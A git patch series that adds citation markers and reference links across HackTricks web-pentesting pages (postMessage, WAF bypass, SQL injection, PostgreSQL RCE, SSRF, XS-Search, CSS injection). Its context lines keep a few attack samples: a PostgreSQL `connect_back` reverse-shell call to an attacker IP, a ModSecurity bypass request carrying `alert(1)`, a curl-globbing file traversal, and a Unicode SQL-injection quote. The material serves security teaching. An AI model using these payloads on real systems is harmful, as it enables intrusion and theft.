normalization](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 2448b93f24b..cf25f7b6d3b 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -491,5 +491,7 @@ h2c-smuggling.md - [17] [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/) - [18] [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008) - [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409) +- [20] [Cross-Site WebSocket Hijacking (CSWSH)](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) +- [21] [Fuzzing WebSockets with Backslash Powered Scanner](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) {{#include ../banners/hacktricks-training.md}} From c60a49994e04d89228a53883c9e10b7bb89f828c Mon Sep 17 00:00:00 2001 From: Carlos Polop <carlospolop@gmail.com> Date: Thu, 6 Aug 2026 13:07:47 +0200 Subject: [PATCH 4/7] References: cite already-listed sources on the lines that mention them (44 citations) --- .../postmessage-vulnerabilities/README.md | 2 +- .../bypassing-sop-with-iframes-2.md | 4 +-- .../proxy-waf-protections-bypass.md | 6 ++-- src/pentesting-web/saml-attacks/README.md | 8 ++--- ...inclusion-edge-side-inclusion-injection.md | 2 +- src/pentesting-web/sql-injection/README.md | 2 +- .../dblink-lo_import-data-exfiltration.md | 2 +- .../rce-with-postgresql-extensions.md | 4 +-- .../README.md | 2 +- .../unicode-normalization.md | 6 ++-- src/pentesting-web/websocket-attacks.md | 4 +-- src/pentesting-web/xs-search.md | 30 +++++++++---------- .../xs-search/css-injection/README.md | 14 ++++----- 13 files changed, 43 insertions(+), 43 deletions(-) diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 03e8d878b56..a323667217e 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -38,7 +38,7 @@ If the **wildcard** is used, **messages could be sent to any domain**, and will ### Attacking iframe & wildcard in **targetOrigin** -As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ +As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.<sup>[[3]](#references)</sup>\ Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.<sup>[[3]](#references)</sup> ```html diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md index 8c08e784fd5..5a3f2146efc 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md +++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md @@ -4,7 +4,7 @@ ## Iframes in SOP-2 -In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it. +In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.<sup>[[3]](#references)</sup> In this challenge the attacker needs to **bypass** this: @@ -34,7 +34,7 @@ In order to bypass the **second check** about token is by sending **`token`** wi - Sending `token` in the postMessage with value `null` is trivial. - **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value. -The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html): +The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):<sup>[[4]](#references)</sup> ```html <html> diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 0b373deaf9e..ec63660cf0b 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -80,7 +80,7 @@ location ~* ^/admin { ### Path Confusion -[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\ +[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.<sup>[[2]](#references)</sup>\ Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.<sup>[[2]](#references)</sup> The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug. @@ -184,7 +184,7 @@ This pairs well with header-reflection cache poisoning. See: cache-deception/README.md {{#endref}} -- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)<sup>[[5]](#references)</sup> ### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a> @@ -246,7 +246,7 @@ h2c-smuggling.md - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines. -- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) +- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)<sup>[[7]](#references)</sup> ### Regex Bypasses diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index f74e272bce4..2a69226ae4c 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -43,16 +43,16 @@ First child after round-trip: Z This is how REXML saw the original XML document from the program above: -![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) +![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)<sup>[[1]](#references)</sup> And this is how it saw it after a round of parsing and serialization: -![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) +![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)<sup>[[1]](#references)</sup> For more information about the vulnerability and how to abuse it:<sup>[[1]](#references)[[2]](#references)</sup> -- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) -- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/) +- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)<sup>[[1]](#references)</sup> +- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)<sup>[[2]](#references)</sup> ## XML Signature Wrapping Attacks diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index ca8c124269a..8da593ff5b3 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -4,7 +4,7 @@ ## Server Side Inclusion Basic Information -**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** +**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**<sup>[[1]](#references)</sup> SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\ For example, you might place a directive into an existing HTML page, such as: diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 8d3d5102d03..5ca8d0c9eed 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -698,7 +698,7 @@ https://github.com/m4ll0k/Atlas ## Other Guides - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)<sup>[[1]](#references)</sup> ## Brute-Force Detection List diff --git a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md index 3356b11c0db..ef4ee9382c0 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md @@ -4,7 +4,7 @@ **This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**<sup>[[1]](#references)</sup> -**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) +**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)<sup>[[1]](#references)</sup> ## References diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f39e0d0a5ce..94c41d618c8 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -12,7 +12,7 @@ Also, keep in mind that **if you don't know how to** [**upload files to the vict ### RCE in Linux -**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** +**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**<sup>[[1]](#references)</sup> The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).<sup>[[1]](#references)[[2]](#references)</sup> @@ -309,7 +309,7 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ +For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**<sup>[[5]](#references)</sup>\ In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:<sup>[[5]](#references)</sup> diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index c64f3d96055..95ad67d24b9 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -58,7 +58,7 @@ From https://twitter.com/har1sec/status/1182255952055164929 ``` - **Curl URL globbing - WAF bypass** - - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**: + - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:<sup>[[13]](#references)</sup> ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index baed9ee01b5..6b2b38d3aad 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -58,7 +58,7 @@ Imagine a web page that is using the character `'` to create SQL queries with th Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:<sup>[[1]](#references)</sup> -![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)<sup>[[1]](#references)</sup> **Some interesting Unicode characters** @@ -99,11 +99,11 @@ https://github.com/carlospolop/sqlmap_to_unicode_template You could use one of the following characters to trick the webapp and exploit a XSS:<sup>[[1]](#references)</sup> -![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)<sup>[[1]](#references)</sup> Notice that for example the first Unicode character proposed can be sent as: `%e2%89%ae` or as `%u226e` -![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)<sup>[[1]](#references)</sup> ### Account / identifier collisions diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index cf25f7b6d3b..f907fcdd13b 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -8,7 +8,7 @@ WebSocket connections are established through an initial **HTTP** handshake and ### Establishment of WebSocket Connections -A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below: +A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:<sup>[[20]](#references)</sup> ```javascript var ws = new WebSocket("wss://normal-website.com/ws") @@ -126,7 +126,7 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur ## Websocket Fuzzing -The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). +The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) now allows to fuzz also WebSocket messages. You can read more infromation abou this [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).<sup>[[21]](#references)</sup> ### WebSocket Turbo Intruder (Burp extension) diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 78d16b0f042..7e99bbe9b5d 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -204,7 +204,7 @@ Applications frequently utilize [`postMessage` broadcasts](https://developer.moz - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: API Usage -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)<sup>[[1]](#references)</sup> - **Summary**: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page. - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>) @@ -216,7 +216,7 @@ If one **origin** uses the **maximum amount of WebSocket** connection objects, r - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: API Usage -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)<sup>[[1]](#references)</sup> - **Summary**: Detect Payment Request because only one can be active at a time. - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) @@ -296,7 +296,7 @@ Beyond timing measurements, the Performance API can be leveraged for security-re - **Inclusion Methods**: Frames, HTML Elements - **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** A request that results in errors will not create a resource timing entry. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) @@ -306,7 +306,7 @@ It is possible to **differentiate between HTTP response status codes** because r - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Due to a browser bug, requests that result in errors are loaded twice. - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) @@ -316,7 +316,7 @@ In the previous technique it was also identified two cases where browser bugs in - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Requests that result in an error can not be merged. - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) @@ -326,7 +326,7 @@ The technique was found in a table in the mentioned paper but no description of - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Empty responses do not create resource timing entries. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) @@ -336,7 +336,7 @@ An attacker can detect if a request resulted in an empty HTTP response body beca - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Using the XSS Auditor in Security Assertions, attackers can detect specific webpage elements by observing alterations in responses when crafted payloads trigger the auditor's filtering mechanism. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) @@ -346,7 +346,7 @@ In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cro - **Inclusion Methods**: Frames - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)<sup>[[1]](#references)</sup> - **Summary:** Resource with X-Frame-Options header does not create resource timing entry. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) @@ -357,7 +357,7 @@ Same happens if you use an **embed** **tag.** - **Inclusion Methods**: Frames - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Downloads do not create resource timing entries in the Performance API. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) @@ -367,7 +367,7 @@ Similar, to the XS-Leak described, a **resource that is downloaded** because of - **Inclusion Methods**: Frames - **Detectable Difference**: Redirect -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Resource timing entry leaks the start time of a redirect. - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) @@ -377,7 +377,7 @@ We found one XS-Leak instance that abuses the behavior of some browsers which lo - **Inclusion Methods**: Fetch API - **Detectable Difference**: Redirect -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** The duration of timing entries is negative when a redirect occurs. - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak) @@ -387,7 +387,7 @@ In GC, the **duration** for requests that result in a **redirect** is **negative - **Inclusion Methods**: Frames - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> - **Summary:** Resource protected with CORP do not create resource timing entries. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) @@ -488,7 +488,7 @@ The `MediaError` interface's message property uniquely identifies resources that - **Inclusion Methods**: Fetch API - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)<sup>[[1]](#references)</sup> - **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests. - **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) @@ -498,7 +498,7 @@ This technique enables an attacker to **extract the destination of a cross-origi - **Inclusion Methods**: Fetch API - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)<sup>[[1]](#references)</sup> - **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests. - **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) @@ -584,7 +584,7 @@ Submitting a request using the Fetch API with `redirect: "manual"` and other par - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)<sup>[[1]](#references)</sup> - **Summary:** Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions. - **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 3d79978429e..2e0024660d7 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -174,7 +174,7 @@ Other ways to access DOM parts with **CSS selectors**: ### Error based XS-Search -**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) +**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)<sup>[[14]](#references)[[15]](#references)</sup> The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.<sup>[[14]](#references)[[15]](#references)</sup> @@ -240,7 +240,7 @@ For mitigation, the following points should be noted: Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics. -For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) +For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)<sup>[[16]](#references)</sup> You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb). @@ -278,7 +278,7 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> -**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) +**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)<sup>[[17]](#references)</sup> The technique described involves extracting text from a node by exploiting font ligatures and monitoring 